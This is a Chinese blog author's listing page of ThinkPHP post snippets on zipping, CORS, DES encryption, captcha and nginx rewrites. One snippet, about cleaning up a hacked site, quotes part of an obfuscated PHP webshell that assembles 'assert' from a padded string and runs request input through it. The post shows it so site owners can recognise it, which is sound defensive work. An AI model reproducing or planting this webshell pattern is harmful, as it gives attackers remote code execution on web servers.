Thinkphp
qq_42289686
这个作者很懒,什么都没留下…
展开
-
php调用ZIP进行压缩单层目录文件的时候,如何保持一级目录
public function addFileToZip($path, $zip) { $handler = opendir($path); //打开当前文件夹由$path指定。 while (($filename = readdir($handler)) !== false) { if ($filename != "." && $filename != ".." ) { //文件夹文件名字为'.'和‘..’,不要对他们进行操作原创 2021-02-07 16:44:54 · 422 阅读 · 0 评论 -
【原创开源】姆町个人发卡系统PHP源码
如果源码部署出现问题,可以联系我解决。支持二开,支持定制开发。源码遵循BSD开源协议,请勿以姆町|姆町网络的名义使用源码进行商业活动,请先修改源码中的LOGO及名称!演示站:http://fk.wensafe.com/文件分两部分;1.PHP源码2.前端源码个人发卡网源码,支持码支付对接,扫码自动发货.自适应网页,可为商品设置优惠套餐,后台管理功能丰富。前台发卡页面有点粗糙,已开源的可自己进行修改。使用thinkphp6.0开发,php需要7以上 mysql5.6以上,其他随意。使原创 2021-01-27 17:21:23 · 716 阅读 · 0 评论 -
php如何以不同系统环境中的回车符来分割字符串?
先把不同环境的回车符替换成\n,然后用\n来分割就OK了$str = str_replace(PHP_EOL, "\n",$str);$arr = array_unique(explode("\n",$str));原创 2020-11-29 15:08:58 · 908 阅读 · 0 评论 -
发现新大陆>think-addons可以在自己的应用中做模块化开发
think-addons项目地址: https://github.com/zz-studio/think-addonscomposer require zzstudio/think-addonsinstall.sql可以把该模块对应的数据表放进去,会自动判断你配置文件中设置的数据表前缀 来生成对应的表,相关业务逻辑 也可以在控制器中写...原创 2020-09-25 15:55:41 · 1773 阅读 · 0 评论 -
thinkphp跨域很齐全的处理方式
<?phpdeclare (strict_types=1);namespace app\middleware;class admin{ /** * 处理请求 * * @param \think\Request $request * @param \Closure $next * @return Response */ public function handle($request, \Closure $next)原创 2020-07-24 21:46:40 · 296 阅读 · 0 评论 -
thinkphp 多表查询
我将不同的表名存在了一个数据表,这些表名对应的数据表的列都是一致的,现在的要求是,把这些表里面的数据按照筛选条件筛出来。$list = Db::table("v_software_list")->where('delete', 1)->field('field_js')->select();$select = '';foreach ($list as $key => $val) { if ($key == 0) { $sqlField = $val['f原创 2020-06-15 11:05:15 · 587 阅读 · 0 评论 -
DES加密解密 与php后端加密解密互通
测试工具 apiPost 可以百度下载使用DES加密解密前端加密使用CryptoJS插件function encrypt(str, key, iv) { var encode_str = ''; var key = CryptoJS.MD5(key).toString(); var iv = CryptoJS.MD5(iv).toString(); var crypto_key = CryptoJS.enc.Utf8.parse(key); var crypt原创 2020-06-03 09:35:00 · 1004 阅读 · 0 评论 -
tp 如果被上传.php木马文件怎么处理
有很多网站被黑,导致网站关键词 网站标题 被修改,更可恶的是你如果发现的晚,关键词都被收录进去了,搞得很麻烦。这是被上传的php文件之一,<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc); $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['g原创 2020-06-01 23:03:02 · 1007 阅读 · 1 评论 -
thinkphp6.0 接入阿里云云盾人机验证
下载阿里云的官方sdk解压之后,把aliyun-php-sdk-afs这个文件夹放到extend里面再把aliyun-php-sdk-core这个文件夹放进,自己验证逻辑的控制器目录中!完整的引入代码<?phpdeclare (strict_types=1);namespace app\api\controller;use app\Request;use think\...原创 2019-12-06 10:13:25 · 1094 阅读 · 0 评论 -
宝塔nginx部署tp项目 伪静态设置
location / { if (!-e $request_filename){ rewrite ^(.*)$ /index.php?s=$1 last; break; }}原创 2019-11-21 10:24:43 · 2040 阅读 · 0 评论